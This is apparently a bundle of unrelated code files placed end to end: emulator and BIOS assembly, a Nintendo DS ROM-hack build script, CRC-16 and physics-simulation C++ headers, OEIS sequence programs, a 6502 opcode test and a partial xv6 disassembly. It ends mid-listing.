51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 d4 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 28 51 51 51 51 51 51 51 51 51 51 94 00 51 51 51 51 51 51 74 51 00 51 51 51 51 51 51 51 51 51 6c 51 0e 70 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 d0 51 51 68 51 51 51 51 51 51 51 5e 76 00 51 10 51 00 51 51 51 51 51 51 5e 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 1a 51 51 51 00 51 51 51 51 51 68 00 51 51 51 51 51 51 51 04 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 9e 51 51 51 51 90 00 12 00 51 51 51 51 51 51 51 51 51 51 51 51 51 96 51 51 51 51 51 51 51 51 51 f8 51 51 51 51 51 fc 51 51 51 51 51 51 51 51 fe 51 51 51 51 51 51 00 51 51 51 51 51 51 51 02 51 c4 51 51 51 51 51 51 51 00 51 51 51 2a 51 51 51 51 51 51 51 51 51 51 51 8c ba 68 51 51 51 51 51 00 51 51 51 51 3e 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 bc 51 30 51 51 51 51 51 58 51 30 51 51 51 b6 00 51 51 51 51 51 51 51 51 51 51 00 51 51 50 51 38 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 dc 51 44 51 51 08 51 51 51 51 48 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 1a 51 51 51 51 51 b0 51 6a 51 51 51 51 51 51 51 51 51 51 51 51 51 51 58 51 51 51 51 51 51 51 51 51 51 51 51 51 51 c2 51 51 51 51 51 51 51 51 51 51 51 90 00 51 51 51 00 51 51 51 51 51 51 51 04 ae 51 51 51 51 00 b8 51 51 51 51 51 51 51 dc 00 51 51 51 51 51 ba 51 00 51 51 98 00 51 51 00 51 70 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 7c 51 ca 51 51 51 51 51 51 51 51 51 51 96 51 51 51 51 51 51 51 b2 51 51 00 51 51 51 51 51 51 51 51 51 51 b2 51 3a 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 02 51 51 51 51 51 51 51 51 51 2c 51 51 51 0a 51 51 51 51 51 c0 00 51 51 51 51 51 51 30 51 51 51 1c 51 51 51 51 51 51 d4 51 51 51 51 51 51 51 3c 5e 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 ac 51 51 51 51 51 00 51 51 51 51 51 00 51 c8 51 02 51 51 51 51 51 46 51 70 51 51 d0 51 51 51 51 51 51 51 51 51 51 51 51 51 f2 51 51 51 51 94 51 51 51 51 51 51 51 51 51 51 51 51 51 51 cc 51 51 51 51 51 51 51 fc 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 e6 26 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
; epRISC development platform - BIOS debugging routines ; ; written by John C. Lemme, jclemme (at) proportionallabs (dot) com ; this file is part of the epRISC project, released under the epRISC license - see "license.txt" for details. ; ; These routines are for debugging. Will be retooled later. !zone dbg_routines :.str_warn !str "\n\nAn error has occured.\n\0" :.str_fatal !str "\n\nA fatal error has occured.\n\0" :.str_return !str "Called at \0" :.str_trace !str "Stacktrace (top 16):\n\0"; :.str_regs !str "Registers:\n\0"; :.str_resume !str "Resuming.\n\n\0" :.str_halt !str "Halting.\n\n\0" :dbg_warn brch.a a:dbg_eror :dbg_eror move.v d:%Zz v:.str_fatal push.r s:%Zz call.s a:str_puts pops.r d:%Zz ; Print fatal warning message move.v d:%Zz v:.str_return push.r s:%Zz call.s a:str_puts pops.r d:%Zz ; Print called-from message call.s a:str_hnum ; Print called-from address halt.i ; Stop :dbg_note push.r s:%Zz move.v d:%Zz v:.str_return push.r s:%Zz call.s a:str_puts pops.r d:%Zz ; Print called-from message move.v d:%Zz v:#hF0 :.subrloop subr.v d:%Zz a:%Zz v:#h01 cmpr.v a:%Zz v:#h00 brch.a c:%NEQ a:.subrloop subr.v d:%SP a:%SP v:#h01 call.s a:str_hnum ; Print called-from address addr.v d:%SP a:%SP v:#h01 move.v d:%Zz v:#h0A push.r s:%Zz call.s a:lemon_putc pops.r d:%Zz move.v d:%Zz v:#h0D push.r s:%Zz call.s a:lemon_putc pops.r d:%Zz ; Drop down a line pops.r d:%Zz rtrn.s :dbg_trac rtrn.s :dbg_regs rtrn.s
;;----------------------------------------------------------------------------;; ;; Hacks for overlay 2 for arm9 ;; Copyright 2014 Benito Palacios (aka pleonex) ;; ;; Licensed under the Apache License, Version 2.0 (the "License"); ;; you may not use this file except in compliance with the License. ;; You may obtain a copy of the License at ;; ;; http://www.apache.org/licenses/LICENSE-2.0 ;; ;; Unless required by applicable law or agreed to in writing, software ;; distributed under the License is distributed on an "AS IS" BASIS, ;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ;; See the License for the specific language governing permissions and ;; limitations under the License. ;;----------------------------------------------------------------------------;; .nds .open overlay9_2.bin, 02079F80h .relativeinclude on .erroronwarning on .include bugs\downloading_news.asm .include Wi-Fi\dwc.asm .include Wi-Fi\nossl.asm .include Wi-Fi\filter.asm .include textbox\wifi_news.asm .include textbox\wifi_objects.asm .close ; EOF ;
/* Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. NVIDIA CORPORATION and its licensors retain all intellectual property and proprietary rights in and to this software, related documentation and any modifications thereto. Any use, reproduction, disclosure or distribution of this software and related documentation without an express license agreement from NVIDIA CORPORATION is strictly prohibited. */ #pragma once #include <stdint.h> // Segway specific crc calculation namespace isaac { namespace serialization { #define CRC_ADJUSTMENT 0xA001 #define CRC_TABLE_SIZE 256 #define INITIAL_CRC (0) // The CRC table static uint16_t crc_table[CRC_TABLE_SIZE]; // Private function prototypes static uint16_t compute_crc_table_value(uint16_t the_byte); // Initialize the crc table inline void crc16_initialize(void) { uint16_t byte; for (byte = 0; byte < CRC_TABLE_SIZE; byte++) { crc_table[byte] = compute_crc_table_value(byte); } } // This computes an updated CRC 16 given the current val the CRC 16 and a new data byte. inline uint16_t crc16_calculate_crc_16(uint16_t old_crc, uint8_t new_byte) { uint16_t temp; uint16_t new_crc; temp = old_crc ^ new_byte; new_crc = (old_crc >> 8) ^ crc_table[temp & 0x00FF]; return (new_crc); } // This function computes the CRC-16 value for the passed in // buffer. The newly computed CRC is saved into the last // 2 spots in the byte buffer. inline void crc16_compute_byte_buffer_crc(uint8_t* byte_buffer, uint32_t bytes_in_buffer) { uint32_t count; uint32_t crc_index = bytes_in_buffer - 2; uint16_t new_crc = INITIAL_CRC; // We'll loop through each word of the message and update // the CRC. Start with the value chosen for CRC initialization. for (count = 0; count < crc_index; count++) { // Now we'll send each byte to the CRC calculation. new_crc = crc16_calculate_crc_16(new_crc, byte_buffer[count]); } // The new CRC is saved in the last word. byte_buffer[crc_index] = (uint8_t)((new_crc & 0xFF00) >> 8); byte_buffer[crc_index+1] = (uint8_t)(new_crc & 0x00FF); } // This function computes the CRC-16 value for the passed in // buffer. This new CRC is compared to the last value stored // in the buffer (which is assumed to be the CRC-16 for the // buffer). inline bool crc16_byte_buffer_crc_is_valid(uint8_t* byte_buffer, uint32_t bytes_in_buffer) { uint32_t count; uint32_t crc_index = bytes_in_buffer - 2; uint16_t new_crc = INITIAL_CRC; uint16_t received_crc = INITIAL_CRC; bool success; // We'll loop through each word of the message and update // the CRC. Start with the value chosen for CRC initialization. for (count = 0; count < crc_index; count++) { new_crc = crc16_calculate_crc_16(new_crc, byte_buffer[count]); } // The new CRC is checked against that stored in the buffer. received_crc = ((byte_buffer[crc_index] << 8) & 0xFF00); received_crc |= (byte_buffer[crc_index+1] & 0x00FF); if (received_crc == new_crc) { success = true; } else { success = false; } return (success); } // Computes the table value for a given byte inline uint16_t compute_crc_table_value(uint16_t the_byte) { uint16_t j; uint16_t k; uint16_t table_value; k = the_byte; table_value = 0; for (j = 0; j < 8; j++) { if (((table_value ^ k) & 0x0001) == 0x0001) { table_value = (table_value >> 1) ^ CRC_ADJUSTMENT; } else { table_value >>= 1; } k >>= 1; } return (table_value); } } // namespace serialization } // namespace isaac
#include "MyForm.h" #include <Windows.h> #include <iostream> #include <stdio.h> using namespace System; using namespace System::Windows::Forms; [STAThread] int main(array<String^>^ args) { Application::EnableVisualStyles(); Application::SetCompatibleTextRenderingDefault(false); Project2::MyForm form; Application::Run(%form); }
//-------------------------------------------------------------------------- // // Environment: // This software is part of the EvtGen package developed jointly // for the BaBar and CLEO collaborations. If you use all or part // of it, please give an appropriate acknowledgement. // // Copyright Information: See EvtGen/COPYRIGHT // Copyright (C) 1998 Caltech, UCSB // // Module: EvtGen/EvtVubHybrid.hh // // Description: // Class to generate inclusive B to X_u l nu decays. // This class is based on EvtVub by Sven Menke with an update to // generate the inclusive decays in such a way that the right // mix of inclusive and exclusive decays is obtained: // "Hybrid Model" by Dominique Fortin. // NOTE: // - A set of weights (for bins in the kinematic variables mX, q2, El) // is read from DECAY.DEC. This set of weights must be consistent // with the other parameters specified (excl. BF, non-res BF, mb, a). // - If no binning/weights are specified in DECAY.DEC the hybrid // reweighting is not activated // // Modification history: // // Jochen Dingfelder February 1, 2005 Created Module as update of // the module EvtVub including // hybrid model. //------------------------------------------------------------------------ #ifndef EVTVUBHYBRID_HH #define EVTVUBHYBRID_HH #include "EvtGenBase/EvtDecayIncoherent.hh" #include <vector> class EvtParticle; class EvtVubdGamma; class RandGeneral; class EvtVubHybrid:public EvtDecayIncoherent { public: EvtVubHybrid(); virtual ~EvtVubHybrid(); std::string getName(); EvtDecayBase* clone(); void initProbMax(); void init(); void decay(EvtParticle *p); void readWeights(int startArg=0); double getWeight(double mX, double q2, double El); private: double findPFermi(); enum { nParameters = 3, nVariables = 3 }; bool _noHybrid; bool _storeQplus; double _mb; // the b-quark pole mass in GeV (try 4.65 to 4.9) double _a; // Parameter for the Fermi Motion (1.29 is good) double _alphas; // Strong Coupling at m_b (around 0.24) double _dGMax; // max dGamma*p2 value; int _nbins_mX; int _nbins_q2; int _nbins_El; int _nbins; double _masscut; double * _bins_mX; double * _bins_q2; double * _bins_El; double * _weights; EvtVubdGamma *_dGamma; // calculates the decay rate std::vector<double> _pf; }; #endif
; A116588: Array read by antidiagonals: T(n,k) = max(2^(n - k), 2^(k - n)). ; 1,2,2,4,1,4,8,2,2,8,16,4,1,4,16,32,8,2,2,8,32,64,16,4,1,4,16,64,128,32,8,2,2,8,32,128,256,64,16,4,1,4,16,64,256,512,128,32,8,2,2,8,32,128,512,1024,256,64,16,4,1,4,16,64,256,1024,2048,512,128 cal $0,143182 ; Triangle T(n,m) = 1 + abs(n-2*m), read by rows, 0<=m<=n. mov $2,3 mov $3,$0 add $3,3 mov $4,3 lpb $3 div $3,10 add $3,$0 sub $0,1 mul $1,2 add $1,$4 sub $1,2 lpe add $1,$2 sub $1,6 div $1,4 add $1,1
; A153509: Period 9: repeat [6, 6, 6, 3, 3, 3, 0, 0, 0]. ; 6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6,6,6,3,3,3,0,0,0,6 div $0,-3 mod $0,3 add $0,2 mul $0,3
; Test ANC,ALR,ARR,XAA,LAS,AXS (0x*B opcodes, all with AND) in all addressing ; modes ; ; Expected Result: SP = $DE ; ; After the test the stack should look like this: ; ; 0 1 2 3 4 5 6 7 8 9 A B C D E F ; 01D0 FF ; 01E0 B4 4C 35 A0 A0 A0 B4 80 B5 FF 36 00 75 55 F5 D5 ; 01F0 35 7F 37 00 35 40 B5 CD 36 00 B5 AA 34 01 36 00 ; ; Reference here is VICE (the code will work correctly with the memory map of ; a C64). Visual 6502 does not seem to produce the correct result, here's how ; the stack it produces looks like: ; ; 0 1 2 3 4 5 6 7 8 9 A B C D E F ; 01D0 FF ; 01E0 B4 4C 35 E5 E5 A1 F5 D5 B5 FF 35 7F 75 55 F5 D5 ; 01F0 35 7F 35 55 35 40 B5 CD 36 00 B5 AA B5 81 B5 FF ; ; Basically, Visual 6502 does not seem to perform the AND operation common to ; all of the illegal opcodes. The AND is frequently explained to be resulting ; from two values being put on the bus at the same time. Maybe Visual 6502 is not ; able to model the analog effects responsible for it happening. ; ; Also see this NesDev forum thread: http://forums.nesdev.com/viewtopic.php?f=3&t=10417 CLD SEI LDX #$FF TXS ; ANC - A AND M ; ------------- ; Clear all normal flags LDA #$01 CLC CLV LDA #$FF ;ANC($0B) #$00 DCB $0B DCB $00 PHA ; $01FF PHP ; $01FE LDA #$81 ;ANC($0B) #$01 DCB $0B DCB $01 PHA ; $01FD PHP ; $01FC LDA #$AA ;ANC($0B) #$FF DCB $0B DCB $FF PHA ; $01FB PHP ; $01FA LDA #$00 ;ANC($2B) #$FF DCB $2B DCB $FF PHA ; $01F9 PHP ; $01F8 LDA #$CD ;ANC($2B) #$FF DCB $2B DCB $FF PHA ; $01F7 PHP ; $01F6 ; ALR - Combined AND + LSR ; ------------------------ ; Clear all normal flags LDA #$01 CLC CLV LDA #$81 ;ALR #$FF DCB $4B DCB $FF PHA ; $01F5 PHP ; $01F4 LDA #$AB ;ALR #$55 DCB $4B DCB $55 PHA ; $01F3 PHP ; $01F2 LDA #$FF ;ALR #$FF DCB $4B DCB $FF PHA ; $01F1 PHP ; $01F0 ; ARR - Combined AND + ROR with different SR effects ; -------------------------------------------------- ; Clear all normal flags LDA #$01 CLC CLV SEC LDA #$AB ;ARR #$FF DCB $6B DCB $FF PHA ; $01EF PHP ; $01EE CLC LDA #$AB ;ARR #$FF DCB $6B DCB $FF PHA ; $01ED PHP ; $01EC CLC LDA #$FF ;ARR #$00 DCB $6B DCB $00 PHA ; $01EB PHP ; $01EA SEC LDA #$FF ;ARR #$FF DCB $6B DCB $FF PHA ; $01E9 PHP ; $01E8 SEC LDA #$AA ;ARR #$55 DCB $6B DCB $55 PHA ; $01E7 PHP ; $01E6 ; XAA - Unstable opcode, like a three register AND ; ------------------------------------------------ ; Clear all normal flags LDA #$01 CLC CLV PHP ;XAA #$FF DCB $8B DCB $FF ; We'll only execute the instruction and test the time it takes before ; returning the registers to well defined states PLP LDA #$00 ; LAS - Load A, X and SP with SP AND M ; ------------------------------------ ; Clear all normal flags LDA #$01 CLC CLV TSX ; Save SP STX $10 LDA #$AA STA $05 LDY #$04 ;LAS $0001,Y DCB $BB DCB $01 DCB $00 ; There's unfortunately no easy way to preserve SR as many of the register ; transfer / load instructions alter it and we can only push it to the stack, ; which is not valid due to LAS modifying the SP STX $11 ; Move X and SP from after LAS out of the way TSX STX $12 LDX $10 ; Restore SP TXS PHA ; $01E5 LDA $11 PHA ; $01E4 LDA $12 PHA ; $01E3 ; AXS - Store A AND X minus M into X ; ---------------------------------- ; Clear all normal flags LDA #$01 CLC CLV LDA #$FF LDX #$55 ;AXS #$09 DCB $CB DCB $09 PHP ; $01E2 TXA PHA ; $01E1 LDA #$55 LDX #$00 ;AXS #$01 DCB $CB DCB $01 PHP ; $01E0 TXA PHA ; $01DF
_forktest: file format elf32-i386 Disassembly of section .text: 00000000 <main>: printf(1, "fork test OK\n"); } int main(void) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp forktest(); 6: e8 35 00 00 00 call 40 <forktest> exit(); b: e8 32 03 00 00 call 342 <exit> 00000010 <printf>: { 10: 55 push %ebp 11: 89 e5 mov %esp,%ebp 13: 53 push %ebx 14: 83 ec 14 sub $0x14,%esp 17: 8b 5d 0c mov 0xc(%ebp),%ebx write(fd, s, strlen(s)); 1a: 89 1c 24 mov %ebx,(%esp) 1d: e8 7e 01 00 00 call 1a0 <strlen> 22: 89 5c 24 04 mov %ebx,0x4(%esp) 26: 89 44 24 08 mov %eax,0x8(%esp) 2a: 8b 45 08 mov 0x8(%ebp),%eax 2d: 89 04 24 mov %eax,(%esp) 30: e8 2d 03 00 00 call 362 <write> } 35: 83 c4 14 add $0x14,%esp 38: 5b pop %ebx 39: 5d pop %ebp 3a: c3 ret 3b: 90 nop 3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000040 <forktest>: { 40: 55 push %ebp 41: 89 e5 mov %esp,%ebp 43: 53 push %ebx for(n=0; n<N; n++){ 44: 31 db xor %ebx,%ebx { 46: 83 ec 14 sub $0x14,%esp printf(1, "fork test\n"); 49: c7 44 24 04 ec 03 00 movl $0x3ec,0x4(%esp) 50: 00 51: c7 04 24 01 00 00 00 movl $0x1,(%esp) 58: e8 b3 ff ff ff call 10 <printf> 5d: eb 13 jmp 72 <forktest+0x32> 5f: 90 nop if(pid == 0) 60: 0f 84 97 00 00 00 je fd <forktest+0xbd> for(n=0; n<N; n++){ 66: 83 c3 01 add $0x1,%ebx 69: 81 fb e8 03 00 00 cmp $0x3e8,%ebx 6f: 90 nop 70: 74 4e je c0 <forktest+0x80> pid = fork(); 72: e8 c3 02 00 00 call 33a <fork> if(pid < 0) 77: 85 c0 test %eax,%eax 79: 79 e5 jns 60 <forktest+0x20> for(; n > 0; n--){ 7b: 85 db test %ebx,%ebx 7d: 8d 76 00 lea 0x0(%esi),%esi 80: 74 15 je 97 <forktest+0x57> 82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(wait() < 0){ 88: e8 bd 02 00 00 call 34a <wait> 8d: 85 c0 test %eax,%eax 8f: 90 nop 90: 78 57 js e9 <forktest+0xa9> for(; n > 0; n--){ 92: 83 eb 01 sub $0x1,%ebx 95: 75 f1 jne 88 <forktest+0x48> if(wait() != -1){ 97: e8 ae 02 00 00 call 34a <wait> 9c: 83 f8 ff cmp $0xffffffff,%eax 9f: 90 nop a0: 75 60 jne 102 <forktest+0xc2> printf(1, "fork test OK\n"); a2: c7 44 24 04 1e 04 00 movl $0x41e,0x4(%esp) a9: 00 aa: c7 04 24 01 00 00 00 movl $0x1,(%esp) b1: e8 5a ff ff ff call 10 <printf> } b6: 83 c4 14 add $0x14,%esp b9: 5b pop %ebx ba: 5d pop %ebp bb: c3 ret bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write(fd, s, strlen(s)); c0: c7 04 24 2c 04 00 00 movl $0x42c,(%esp) c7: e8 d4 00 00 00 call 1a0 <strlen> cc: c7 44 24 04 2c 04 00 movl $0x42c,0x4(%esp) d3: 00 d4: c7 04 24 01 00 00 00 movl $0x1,(%esp) db: 89 44 24 08 mov %eax,0x8(%esp) df: e8 7e 02 00 00 call 362 <write> exit(); e4: e8 59 02 00 00 call 342 <exit> printf(1, "wait stopped early\n"); e9: c7 44 24 04 f7 03 00 movl $0x3f7,0x4(%esp) f0: 00 f1: c7 04 24 01 00 00 00 movl $0x1,(%esp) f8: e8 13 ff ff ff call 10 <printf> exit(); fd: e8 40 02 00 00 call 342 <exit> printf(1, "wait got too many\n"); 102: c7 44 24 04 0b 04 00 movl $0x40b,0x4(%esp) 109: 00 10a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 111: e8 fa fe ff ff call 10 <printf> exit(); 116: e8 27 02 00 00 call 342 <exit> 11b: 66 90 xchg %ax,%ax 11d: 66 90 xchg %ax,%ax 11f: 90 nop 00000120 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 8b 45 08 mov 0x8(%ebp),%eax 126: 8b 4d 0c mov 0xc(%ebp),%ecx 129: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 12a: 89 c2 mov %eax,%edx 12c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 130: 83 c1 01 add $0x1,%ecx 133: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 137: 83 c2 01 add $0x1,%edx 13a: 84 db test %bl,%bl 13c: 88 5a ff mov %bl,-0x1(%edx) 13f: 75 ef jne 130 <strcpy+0x10> ; return os; } 141: 5b pop %ebx 142: 5d pop %ebp 143: c3 ret 144: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 14a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000150 <strcmp>: int strcmp(const char *p, const char *q) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 8b 55 08 mov 0x8(%ebp),%edx 156: 53 push %ebx 157: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 15a: 0f b6 02 movzbl (%edx),%eax 15d: 84 c0 test %al,%al 15f: 74 2d je 18e <strcmp+0x3e> 161: 0f b6 19 movzbl (%ecx),%ebx 164: 38 d8 cmp %bl,%al 166: 74 0e je 176 <strcmp+0x26> 168: eb 2b jmp 195 <strcmp+0x45> 16a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 170: 38 c8 cmp %cl,%al 172: 75 15 jne 189 <strcmp+0x39> p++, q++; 174: 89 d9 mov %ebx,%ecx 176: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 179: 0f b6 02 movzbl (%edx),%eax p++, q++; 17c: 8d 59 01 lea 0x1(%ecx),%ebx while(*p && *p == *q) 17f: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 183: 84 c0 test %al,%al 185: 75 e9 jne 170 <strcmp+0x20> 187: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 189: 29 c8 sub %ecx,%eax } 18b: 5b pop %ebx 18c: 5d pop %ebp 18d: c3 ret 18e: 0f b6 09 movzbl (%ecx),%ecx while(*p && *p == *q) 191: 31 c0 xor %eax,%eax 193: eb f4 jmp 189 <strcmp+0x39> 195: 0f b6 cb movzbl %bl,%ecx 198: eb ef jmp 189 <strcmp+0x39> 19a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000001a0 <strlen>: uint strlen(const char *s) { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1a6: 80 39 00 cmpb $0x0,(%ecx) 1a9: 74 12 je 1bd <strlen+0x1d> 1ab: 31 d2 xor %edx,%edx 1ad: 8d 76 00 lea 0x0(%esi),%esi 1b0: 83 c2 01 add $0x1,%edx 1b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1b7: 89 d0 mov %edx,%eax 1b9: 75 f5 jne 1b0 <strlen+0x10> ; return n; } 1bb: 5d pop %ebp 1bc: c3 ret for(n = 0; s[n]; n++) 1bd: 31 c0 xor %eax,%eax } 1bf: 5d pop %ebp 1c0: c3 ret 1c1: eb 0d jmp 1d0 <memset> 1c3: 90 nop 1c4: 90 nop 1c5: 90 nop 1c6: 90 nop 1c7: 90 nop 1c8: 90 nop 1c9: 90 nop 1ca: 90 nop 1cb: 90 nop 1cc: 90 nop 1cd: 90 nop 1ce: 90 nop 1cf: 90 nop 000001d0 <memset>: void* memset(void *dst, int c, uint n) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 8b 55 08 mov 0x8(%ebp),%edx 1d6: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1d7: 8b 4d 10 mov 0x10(%ebp),%ecx 1da: 8b 45 0c mov 0xc(%ebp),%eax 1dd: 89 d7 mov %edx,%edi 1df: fc cld 1e0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1e2: 89 d0 mov %edx,%eax 1e4: 5f pop %edi 1e5: 5d pop %ebp 1e6: c3 ret 1e7: 89 f6 mov %esi,%esi 1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001f0 <strchr>: char* strchr(const char *s, char c) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 8b 45 08 mov 0x8(%ebp),%eax 1f6: 53 push %ebx 1f7: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 1fa: 0f b6 18 movzbl (%eax),%ebx 1fd: 84 db test %bl,%bl 1ff: 74 1d je 21e <strchr+0x2e> if(*s == c) 201: 38 d3 cmp %dl,%bl 203: 89 d1 mov %edx,%ecx 205: 75 0d jne 214 <strchr+0x24> 207: eb 17 jmp 220 <strchr+0x30> 209: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 210: 38 ca cmp %cl,%dl 212: 74 0c je 220 <strchr+0x30> for(; *s; s++) 214: 83 c0 01 add $0x1,%eax 217: 0f b6 10 movzbl (%eax),%edx 21a: 84 d2 test %dl,%dl 21c: 75 f2 jne 210 <strchr+0x20> return (char*)s; return 0; 21e: 31 c0 xor %eax,%eax } 220: 5b pop %ebx 221: 5d pop %ebp 222: c3 ret 223: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000230 <gets>: char* gets(char *buf, int max) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 57 push %edi 234: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 235: 31 f6 xor %esi,%esi { 237: 53 push %ebx 238: 83 ec 2c sub $0x2c,%esp cc = read(0, &c, 1); 23b: 8d 7d e7 lea -0x19(%ebp),%edi for(i=0; i+1 < max; ){ 23e: eb 31 jmp 271 <gets+0x41> cc = read(0, &c, 1); 240: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 247: 00 248: 89 7c 24 04 mov %edi,0x4(%esp) 24c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 253: e8 02 01 00 00 call 35a <read> if(cc < 1) 258: 85 c0 test %eax,%eax 25a: 7e 1d jle 279 <gets+0x49> break; buf[i++] = c; 25c: 0f b6 45 e7 movzbl -0x19(%ebp),%eax for(i=0; i+1 < max; ){ 260: 89 de mov %ebx,%esi buf[i++] = c; 262: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 265: 3c 0d cmp $0xd,%al buf[i++] = c; 267: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 26b: 74 0c je 279 <gets+0x49> 26d: 3c 0a cmp $0xa,%al 26f: 74 08 je 279 <gets+0x49> for(i=0; i+1 < max; ){ 271: 8d 5e 01 lea 0x1(%esi),%ebx 274: 3b 5d 0c cmp 0xc(%ebp),%ebx 277: 7c c7 jl 240 <gets+0x10> break; } buf[i] = '\0'; 279: 8b 45 08 mov 0x8(%ebp),%eax 27c: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 280: 83 c4 2c add $0x2c,%esp 283: 5b pop %ebx 284: 5e pop %esi 285: 5f pop %edi 286: 5d pop %ebp 287: c3 ret 288: 90 nop 289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000290 <stat>: int stat(const char *n, struct stat *st) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 56 push %esi 294: 53 push %ebx 295: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 298: 8b 45 08 mov 0x8(%ebp),%eax 29b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2a2: 00 2a3: 89 04 24 mov %eax,(%esp) 2a6: e8 d7 00 00 00 call 382 <open> if(fd < 0) 2ab: 85 c0 test %eax,%eax fd = open(n, O_RDONLY); 2ad: 89 c3 mov %eax,%ebx if(fd < 0) 2af: 78 27 js 2d8 <stat+0x48> return -1; r = fstat(fd, st); 2b1: 8b 45 0c mov 0xc(%ebp),%eax 2b4: 89 1c 24 mov %ebx,(%esp) 2b7: 89 44 24 04 mov %eax,0x4(%esp) 2bb: e8 da 00 00 00 call 39a <fstat> close(fd); 2c0: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2c3: 89 c6 mov %eax,%esi close(fd); 2c5: e8 a0 00 00 00 call 36a <close> return r; 2ca: 89 f0 mov %esi,%eax } 2cc: 83 c4 10 add $0x10,%esp 2cf: 5b pop %ebx 2d0: 5e pop %esi 2d1: 5d pop %ebp 2d2: c3 ret 2d3: 90 nop 2d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 2d8: b8 ff ff ff ff mov $0xffffffff,%eax 2dd: eb ed jmp 2cc <stat+0x3c> 2df: 90 nop 000002e0 <atoi>: int atoi(const char *s) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 8b 4d 08 mov 0x8(%ebp),%ecx 2e6: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 2e7: 0f be 11 movsbl (%ecx),%edx 2ea: 8d 42 d0 lea -0x30(%edx),%eax 2ed: 3c 09 cmp $0x9,%al n = 0; 2ef: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 2f4: 77 17 ja 30d <atoi+0x2d> 2f6: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 2f8: 83 c1 01 add $0x1,%ecx 2fb: 8d 04 80 lea (%eax,%eax,4),%eax 2fe: 